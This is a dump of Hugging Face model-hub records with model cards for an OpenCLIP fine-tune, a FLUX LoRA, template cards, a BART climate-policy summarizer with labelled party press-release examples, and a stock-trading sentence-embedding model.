nmndeep/CLIC-ViT-L-14-224-PixPr-RedCaps	nmndeep	2025-05-30T10:16:47Z	0	0	open_clip	[ "open_clip", "safetensors", "region:us" ]	null	2025-03-27T13:11:58Z	# Model Card for CLIC-ViT-L-14-224-PixPr-RedCaps ## Model Details <!-- Provide the basic links for the model. --> - Model-details: : Fine-tuned with CLIC using PixelProse dataset ## Model Usage ### With OpenCLIP ``` import torch from PIL import Image import open_clip model, _, image_processor = open_clip.create_model_and_transforms('hf-hub:nmndeep/CLIC-ViT-L-14-224-PixPr-RedCaps') image = image_processor(Image.open(urlopen( 'https://images.pexels.com/photos/869258/pexels-photo-869258.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1'))).unsqueeze(0) model.eval() tokenizer = open_clip.get_tokenizer('hf-hub:nmndeep/CLIC-ViT-L-14-224-PixPr-RedCaps') texts= ["a diagram", "a dog", "a cat", "snow"] text = tokenizer(texts) with torch.no_grad(), torch.autocast("cuda"): image_features = model.encode_image(image) text_features = model.encode_text(text) image_features /= image_features.norm(dim=-1, keepdim=True) text_features /= text_features.norm(dim=-1, keepdim=True) text_probs = (100.0 * image_features @ text_features.T).softmax(dim=-1) idx = torch.argmax(text_probs) print("Output label:", texts[idx]) ```
Varinder2110/sonunigam-2	Varinder2110	2025-05-30T10:16:29Z	0	0	diffusers	[ "diffusers", "flux", "lora", "replicate", "text-to-image", "en", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "license:other", "region:us" ]	text-to-image	2025-05-30T09:04:07Z	--- license: other license_name: flux-1-dev-non-commercial-license license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md language: - en tags: - flux - diffusers - lora - replicate base_model: "black-forest-labs/FLUX.1-dev" pipeline_tag: text-to-image # widget: # - text: >- # prompt # output: # url: https://... instance_prompt: TOK --- # Sonunigam 2 <Gallery /> ## About this LoRA This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI. It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train ## Trigger words You should use `TOK` to trigger the image generation. ## Run this LoRA with an API using Replicate ```py import replicate input = { "prompt": "TOK", "lora_weights": "https://huggingface.co/Varinder2110/sonunigam-2/resolve/main/lora.safetensors" } output = replicate.run( "black-forest-labs/flux-dev-lora", input=input ) for index, item in enumerate(output): with open(f"output_{index}.webp", "wb") as file: file.write(item.read()) ``` ## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers) ```py from diffusers import AutoPipelineForText2Image import torch pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda') pipeline.load_lora_weights('Varinder2110/sonunigam-2', weight_name='lora.safetensors') image = pipeline('TOK').images[0] ``` For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters) ## Training details - Steps: 6000 - Learning rate: 0.0004 - LoRA rank: 64 ## Contribute your own examples You can use the [community tab](https://huggingface.co/Varinder2110/sonunigam-2/discussions) to add images that show off what you’ve made with this LoRA.
rziga/llmdet_large	rziga	2025-05-30T10:16:20Z	0	0	transformers	[ "transformers", "safetensors", "mm-grounding-dino", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	null	2025-05-30T10:13:53Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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Zuellni/model-test-iv	Zuellni	2025-05-30T10:15:20Z	0	0	null	[ "safetensors", "8-bit", "region:us" ]	null	2025-05-30T08:29:53Z	Temporary Redirect. Redirecting to /Zuellni/model-20250530/resolve/main/README.md
anonymous6435/llemma-isar-SH	anonymous6435	2025-05-30T10:14:38Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T09:24:00Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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AshwiniFromIITK/gemma-3-0_1b_NewDS3.0	AshwiniFromIITK	2025-05-30T10:13:57Z	0	0	transformers	[ "transformers", "safetensors", "text-generation-inference", "unsloth", "gemma3_text", "trl", "en", "base_model:unsloth/gemma-3-1b-it-unsloth-bnb-4bit", "base_model:finetune:unsloth/gemma-3-1b-it-unsloth-bnb-4bit", "license:apache-2.0", "endpoints_compatible", "region:us" ]	null	2025-05-30T10:12:37Z	--- base_model: unsloth/gemma-3-1b-it-unsloth-bnb-4bit tags: - text-generation-inference - transformers - unsloth - gemma3_text - trl license: apache-2.0 language: - en --- # Uploaded model - Developed by: AshwiniFromIITK - License: apache-2.0 - Finetuned from model : unsloth/gemma-3-1b-it-unsloth-bnb-4bit This gemma3_text model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library. [<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
z-dickson/bart-large-cnn-climate-change-summarization	z-dickson	2025-05-30T10:11:42Z	201	3	transformers	[ "transformers", "pytorch", "tensorboard", "safetensors", "bart", "text2text-generation", "politics", "summarization", "climate change", "political party", "press release", "political communication", "European Union", "Speech", "en", "es", "da", "de", "it", "fr", "nl", "pl", "license:afl-3.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	summarization	2023-06-05T17:43:48Z	--- tags: - politics - summarization - climate change - political party - press release - political communication - European Union - Speech license: afl-3.0 language: - en - es - da - de - it - fr - nl - pl metrics: - rouge widget: - text: >- In the light of the current spate of organised vandalism perpetrated in the names of Eco This or Stop Something Else, haven’t we seen this kind of near mass-hysterical action before? With certain obvious exceptions, most of the activists appear to be in the teens to early twenties bracket, and of a comfortable so-called middle-class group. In any event, they have been persuaded that this business of ‘climate change’ which has steadily become some sort of cult, is about to destroy all life as we know it. In reality, the world’s climate has been changing since the ‘Big Bang’ and will continue so to do until the whole thing eventually fizzles out. They have not yet cottoned on to the fact that by far the biggest threat to human existence is that of overpopulation. What is more disturbing, however, is the ease with which they have been recruited into behaving as they do – with no regard to everybody else’s opinions and wishes. Whether by disrupting a Snooker Tournament, the Grand National, obstructing motorways or whatever else, it is clear that there is a core group of these ‘eco’ fanatics who can be directed to any place or event that somebody decides should be attacked, whenever and wherever they choose. For this to happen, there has to be a hierarchy at large, as opposed to and directing the cannon fodder who actually make the mischief. As we have seen on various other occasions, it is those ‘useful idiots’ who do the dirty work while the organisers stay safely away and laugh at those gullible enough to take it all in, regardless of the veracity of their cause’ or the consequences of their mindless actions. This is not new by any means. The Nazis in pre-war Germany used similar tactics involving some sort of brainwashing and intimidation, which resulted in the emergence of Hitler Youth and we all know what a misguided bunch they eventually turned out to be. Of more concern these days is the potential for the organisers of these events to bring together at short notice a substantial gang of activists who can be easily manipulated into carrying out acts of serious civil disobedience against any stratum of society they decide needs their form of correction or treatment. This is a form of grooming however you look at it. Of course, there will be a percentage who will duck out of any really serious civil disorder, but that would still leave a substantial number of organised troublemakers who will relish the thought of seizing some sort of power to affect political thought or action. This is generally accompanied by those seeking to maximise damage to public and private property. It is regrettable that the Courts have so far failed to acknowledge this current spate of ochlocracy. Meanwhile, we all have to put up with that troublesome element intent on testing the boundaries of a decent democratic society. example_title: 'English (Political party: UKIP)' - text: >- Die Bekämpfung illegaler Migration ist eine gemeinsame Priorität von Österreich und Indien, gerade vor dem Hintergrund der dramatisch gestiegenen Ankunftszahlen illegaler Migrantinnen und Migranten aus Indien im vergangenen Jahr. Ausdruck dessen findet sich im Abkommen über eine umfassende Migrations- und Mobilitätspartnerschaft, die Außenminister Alexander Schallenberg und sein indischer Amtskollege, Subrahmanyam Jaishankar, am Rande des EU-Indopazifik-Ministerforums in Stockholm unterzeichnet haben. Damit wurde erstmals eine vertragliche Grundlage für Rückführungen nach Indien geschaffen, die zusammen mit der erfolgten Abschaffung der visafreien Einreise aus Indien nach Serbien, für die sich Kanzler und Innenminister erfolgreich eingesetzt haben, zu einem noch deutlicheren Rückgang der illegalen Migration aus Indien führen wird. Aber es geht dabei nicht nur um die Bekämpfung von illegaler Migration, sondern auch viel mehr um die Stärkung legaler Migrationsmöglichkeiten, insbesondere für die Fachkräfte, die Österreich dringend benötigt. Hierbei soll zukünftig zuerst Kontakt zwischen Firmen und den potentiellen Arbeitskräften hergestellt werden, wobei die Zusammenarbeit zwischen staatlichen Agenturen indischen Staatsangehörigen erleichtern soll, einen geeigneten Arbeitgeber in Österreich zu finden. Ein verbesserter Austausch von Studierenden und eine zügige Visavergabe, vor allem für Journalistinnen und Journalisten sowie in der Wissenschaft ist ebenfalls vorgesehen. Für junge Menschen wird darüber hinaus die Chance geschaffen, durch ein Working Holiday Programm im Zielland kurze, befristete Arbeitsverhältnisse einzugehen oder Bildungseinrichtungen ohne Beschäftigungsbewilligung zu nutzen. Außenminister Alexander Schallenberg: „Das Abkommen ist ein Meilenstein in unseren Beziehungen mit dem bevölkerungsreichsten Land der Welt. Es schafft Möglichkeiten, indische Arbeitskräfte beispielsweise im Rahmen der Rot-Weiß-Rot Karte nach Österreich zu bringen. Hochqualifizierte Inderinnen und Inder können nun dort Lücken schließen, wo es in Österreich an Arbeitskräften fehlt.“ example_title: 'German (Political party: Austrian People''s party)' --- ## Facebook/bart-large-cnn model This model is intended to summarize political texts regarding climate change, the environment and energy. The model was fine-tuned on 7k political party press releases from 66 parties in 12 different countries and is intended to identify the primary issue of the press release, the position of the party on the primary issue, and a 1-2 sentence summary. Training Data primarily consists of GPT-4 responses asking for summaries of the press releases. Small modifications were also made to the summaries from GPT-4 when validating the responses. I also made all the training text summaries lower case by accident, so outputs are lowercase. Note The model is pretty good at identifying the primary issue of any text, but it'll refer to the author of the text as 'the party' and summarize the "position" of the party as such. Countries included in Training Data = ['Italy', 'Sweden', 'Switzerland', 'Netherlands', 'Germany', 'Denmark', 'Spain', 'UK', 'Austria', 'Poland', 'Ireland', 'France'] Citation: ``` @article{dickson2024going, title={Going against the grain: Climate change as a wedge issue for the radical right}, author={Dickson, Zachary P and Hobolt, Sara B}, journal={Comparative Political Studies}, year={2024}, publisher={SAGE Publications Sage CA: Los Angeles, CA} } ```
iamleonie/leonies-test	iamleonie	2025-05-30T10:10:09Z	0	0	sentence-transformers	[ "sentence-transformers", "safetensors", "bert", "sentence-similarity", "feature-extraction", "generated_from_trainer", "dataset_size:6448", "loss:MultipleNegativesRankingLoss", "en", "dataset:yymYYM/stock_trading_QA", "arxiv:1908.10084", "arxiv:1705.00652", "base_model:BAAI/bge-base-en-v1.5", "base_model:finetune:BAAI/bge-base-en-v1.5", "model-index", "autotrain_compatible", "text-embeddings-inference", "endpoints_compatible", "region:us" ]	sentence-similarity	2025-05-30T10:09:26Z	--- language: - en tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:6448 - loss:MultipleNegativesRankingLoss base_model: BAAI/bge-base-en-v1.5 widget: - source_sentence: How are retail sales data integrated into trading models? sentences: - Lagged variables represent historical values of a time series variable and are used in forecasting models to capture the impact of past observations on future market trends, enhancing the accuracy of predictions by incorporating relevant historical information. - Retail sales data reflect consumer spending patterns and overall economic activity. Traders analyze this indicator to gauge consumer confidence, sectoral performance, and potential market trends related to retail-focused stocks. - Regulatory approval for a new drug can have a positive impact on a pharmaceutical company's stock price as it opens up new revenue streams and market opportunities. - source_sentence: What impact does algorithmic trading have on market liquidity? sentences: - Volume analysis in stock trading involves studying the number of shares or contracts traded in a security or market over a specific period to gauge the strength or weakness of a price move. - Social media sentiment analysis can assist in detecting anomalies in stock prices by capturing public sentiment and opinions on stocks, identifying trends or sudden shifts in sentiment that may precede abnormal price movements. - Algorithmic trading can impact market liquidity by increasing trading speed, efficiency, and overall trading volume, leading to potential liquidity disruptions during certain market conditions. - source_sentence: What considerations should traders take into account when selecting an adaptive trading algorithm? sentences: - Historical price data helps analysts identify patterns and trends that can be used to develop models for predicting future stock prices based on past performance. - Traders should consider factors such as performance metrics, risk management capabilities, adaptability to changing market conditions, data requirements, and the level of transparency and control offered by the algorithm. - A stock exchange is a centralized marketplace where securities like stocks, bonds, and commodities are bought and sold by investors and traders. - source_sentence: How can currency exchange rates and forex markets be integrated into trading models alongside macroeconomic indicators? sentences: - Moving averages smooth out price data over a specified period, making it easier to identify trends and reversals in stock prices. - Currency exchange rates and forex markets are integrated into trading models to assess currency risk, international trade impact, and cross-border investment opportunities influenced by macroeconomic indicators. - Investors use quantitative momentum indicators to identify securities that are gaining positive momentum and potentially generating profits by buying those assets and selling underperforming assets. - source_sentence: What role does back-testing play in refining event-driven trading strategies using historical data and real-time analysis? sentences: - Genetic algorithms are well-suited for solving multi-objective optimization problems, nonlinear and non-convex optimization problems, problems with high-dimensional search spaces, and problems where traditional methods may struggle to find optimal solutions. - Risk management techniques such as position sizing, portfolio diversification, and stop-loss orders are often used in quantitative momentum strategies to manage downside risk and protect against large losses. - Back-testing allows traders to evaluate the performance of event-driven trading strategies using historical data, identify patterns, optimize parameters, and refine strategies for real-time implementation. datasets: - yymYYM/stock_trading_QA pipeline_tag: sentence-similarity library_name: sentence-transformers metrics: - cosine_accuracy@3 - cosine_precision@3 - cosine_recall@3 - cosine_ndcg@3 - cosine_mrr@3 - cosine_map@3 model-index: - name: SentenceTransformer based on BAAI/bge-base-en-v1.5 results: - task: type: information-retrieval name: Information Retrieval dataset: name: Unknown type: unknown metrics: - type: cosine_accuracy@3 value: 0.6750348675034867 name: Cosine Accuracy@3 - type: cosine_precision@3 value: 0.22501162250116222 name: Cosine Precision@3 - type: cosine_recall@3 value: 0.6750348675034867 name: Cosine Recall@3 - type: cosine_ndcg@3 value: 0.5838116811117793 name: Cosine Ndcg@3 - type: cosine_mrr@3 value: 0.5523012552301251 name: Cosine Mrr@3 - type: cosine_map@3 value: 0.5523012552301255 name: Cosine Map@3 --- # SentenceTransformer based on BAAI/bge-base-en-v1.5 This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [BAAI/bge-base-en-v1.5](https://huggingface.co/BAAI/bge-base-en-v1.5) on the [stock_trading_qa](https://huggingface.co/datasets/yymYYM/stock_trading_QA) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - Model Type: Sentence Transformer - Base model: [BAAI/bge-base-en-v1.5](https://huggingface.co/BAAI/bge-base-en-v1.5) <!-- at revision a5beb1e3e68b9ab74eb54cfd186867f64f240e1a --> - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - [stock_trading_qa](https://huggingface.co/datasets/yymYYM/stock_trading_QA) - Language: en <!-- - License: Unknown --> ### Model Sources - Documentation: [Sentence Transformers Documentation](https://sbert.net) - Repository: [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - Hugging Face: [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': True}) with Transformer model: BertModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': True, 'pooling_mode_mean_tokens': False, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) (2): Normalize() ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("iamleonie/leonies-test") # Run inference sentences = [ 'What role does back-testing play in refining event-driven trading strategies using historical data and real-time analysis?', 'Back-testing allows traders to evaluate the performance of event-driven trading strategies using historical data, identify patterns, optimize parameters, and refine strategies for real-time implementation.', 'Risk management techniques such as position sizing, portfolio diversification, and stop-loss orders are often used in quantitative momentum strategies to manage downside risk and protect against large losses.', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 768] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` <!-- ### Direct Usage (Transformers) <details><summary>Click to see the direct usage in Transformers</summary> </details> --> <!-- ### Downstream Usage (Sentence Transformers) You can finetune this model on your own dataset. <details><summary>Click to expand</summary> </details> --> <!-- ### Out-of-Scope Use List how the model may foreseeably be misused and address what users ought not to do with the model. --> ## Evaluation ### Metrics #### Information Retrieval * Evaluated with [<code>InformationRetrievalEvaluator</code>](https://sbert.net/docs/package_reference/sentence_transformer/evaluation.html#sentence_transformers.evaluation.InformationRetrievalEvaluator) \| Metric \| Value \| \|:-------------------\|:-----------\| \| cosine_accuracy@3 \| 0.675 \| \| cosine_precision@3 \| 0.225 \| \| cosine_recall@3 \| 0.675 \| \| cosine_ndcg@3 \| 0.5838 \| \| cosine_mrr@3 \| 0.5523 \| \| cosine_map@3 \| 0.5523 \| <!-- ## Bias, Risks and Limitations What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. --> <!-- ### Recommendations What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. --> ## Training Details ### Training Dataset #### stock_trading_qa * Dataset: [stock_trading_qa](https://huggingface.co/datasets/yymYYM/stock_trading_QA) at [35dab2e](https://huggingface.co/datasets/yymYYM/stock_trading_QA/tree/35dab2e25b6da10842cfb0f832b715cab3765727) * Size: 6,448 training samples * Columns: <code>anchor</code> and <code>context</code> * Approximate statistics based on the first 1000 samples: \| \| anchor \| context \| \|:--------\|:----------------------------------------------------------------------------------\|:-----------------------------------------------------------------------------------\| \| type \| string \| string \| \| details \| <ul><li>min: 7 tokens</li><li>mean: 15.83 tokens</li><li>max: 39 tokens</li></ul> \| <ul><li>min: 17 tokens</li><li>mean: 34.67 tokens</li><li>max: 59 tokens</li></ul> \| * Samples: \| anchor \| context \| \|:------------------------------------------------------------------------------------------------------------------------------------------\|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\| \| <code>How should I approach investing in a volatile stock market?</code> \| <code>Diversify your portfolio, invest in stable companies, consider dollar-cost averaging, and stay informed about market trends to make informed trading decisions.</code> \| \| <code>What is the role of cross-validation in assessing the performance of time series forecasting models for stock market trends?</code> \| <code>Cross-validation helps evaluate the generalization ability of forecasting models by partitioning historical data into training and validation sets, ensuring that the model's performance is robust and reliable for future predictions.</code> \| \| <code>What role does correlation play in statistical arbitrage and pair trading?</code> \| <code>Correlation measures the relationship between asset prices and helps traders identify pairs that exhibit a stable price relationship suitable for pair trading.</code> \| * Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters: ```json { "scale": 20.0, "similarity_fct": "cos_sim" } ``` ### Evaluation Dataset #### stock_trading_qa * Dataset: [stock_trading_qa](https://huggingface.co/datasets/yymYYM/stock_trading_QA) at [35dab2e](https://huggingface.co/datasets/yymYYM/stock_trading_QA/tree/35dab2e25b6da10842cfb0f832b715cab3765727) * Size: 717 evaluation samples * Columns: <code>anchor</code> and <code>context</code> * Approximate statistics based on the first 717 samples: \| \| anchor \| context \| \|:--------\|:----------------------------------------------------------------------------------\|:-----------------------------------------------------------------------------------\| \| type \| string \| string \| \| details \| <ul><li>min: 7 tokens</li><li>mean: 15.96 tokens</li><li>max: 30 tokens</li></ul> \| <ul><li>min: 17 tokens</li><li>mean: 35.03 tokens</li><li>max: 62 tokens</li></ul> \| * Samples: \| anchor \| context \| \|:----------------------------------------------------------------------------------------------------------------------------------\|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\| \| <code>How can anomaly detection in stock prices be used to identify market inefficiencies and opportunities for arbitrage?</code> \| <code>Anomaly detection can help identify market inefficiencies by spotting mispricings and opportunities for arbitrage, where traders can exploit price differentials to make profits by trading on anomalies.</code> \| \| <code>How do traders interpret the Head and Shoulders pattern as a trading signal?</code> \| <code>The Head and Shoulders pattern is a reversal pattern with three peaks, where the middle peak (head) is higher than the other two (shoulders), signaling a potential trend reversal and offering a bearish trading signal.</code> \| \| <code>How do traders use Fibonacci levels as trading signals?</code> \| <code>Fibonacci levels are used as trading signals to identify potential support and resistance levels, trend reversals, and price targets in financial markets.</code> \| * Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters: ```json { "scale": 20.0, "similarity_fct": "cos_sim" } ``` ### Training Hyperparameters #### Non-Default Hyperparameters - `eval_strategy`: steps - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `gradient_accumulation_steps`: 16 - `learning_rate`: 2e-05 - `num_train_epochs`: 4 - `lr_scheduler_type`: cosine - `warmup_ratio`: 0.1 - `fp16`: True - `optim`: adamw_8bit - `batch_sampler`: no_duplicates #### All Hyperparameters <details><summary>Click to expand</summary> - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: steps - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 16 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 2e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1.0 - `num_train_epochs`: 4 - `max_steps`: -1 - `lr_scheduler_type`: cosine - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.1 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: True - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_8bit - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: no_duplicates - `multi_dataset_batch_sampler`: proportional </details> ### Training Logs \| Epoch \| Step \| Training Loss \| Validation Loss \| cosine_ndcg@3 \| \|:------:\|:----:\|:-------------:\|:---------------:\|:-------------:\| \| -1 \| -1 \| - \| - \| 0.4451 \| \| 0.3970 \| 10 \| 5.7817 \| 0.0765 \| 0.5278 \| \| 0.7940 \| 20 \| 1.295 \| 0.0251 \| 0.5608 \| \| 1.1588 \| 30 \| 0.6208 \| 0.0209 \| 0.5771 \| \| 1.5558 \| 40 \| 0.5701 \| 0.0183 \| 0.5789 \| \| 1.9529 \| 50 \| 0.4546 \| 0.0171 \| 0.5882 \| \| 2.3176 \| 60 \| 0.2861 \| 0.0160 \| 0.5839 \| \| 2.7146 \| 70 \| 0.3315 \| 0.0154 \| 0.5818 \| \| 3.0794 \| 80 \| 0.3179 \| 0.0152 \| 0.5852 \| \| 3.4764 \| 90 \| 0.367 \| 0.0150 \| 0.5843 \| \| 3.8734 \| 100 \| 0.354 \| 0.0150 \| 0.5838 \| ### Framework Versions - Python: 3.11.12 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` #### MultipleNegativesRankingLoss ```bibtex @misc{henderson2017efficient, title={Efficient Natural Language Response Suggestion for Smart Reply}, author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil}, year={2017}, eprint={1705.00652}, archivePrefix={arXiv}, primaryClass={cs.CL} } ``` <!-- ## Glossary Clearly define terms in order to be accessible across audiences. --> <!-- ## Model Card Authors Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. --> <!-- ## Model Card Contact Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->
rziga/llmdet_tiny	rziga	2025-05-30T10:08:58Z	0	0	transformers	[ "transformers", "safetensors", "mm-grounding-dino", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	null	2025-05-30T10:07:35Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. 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Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
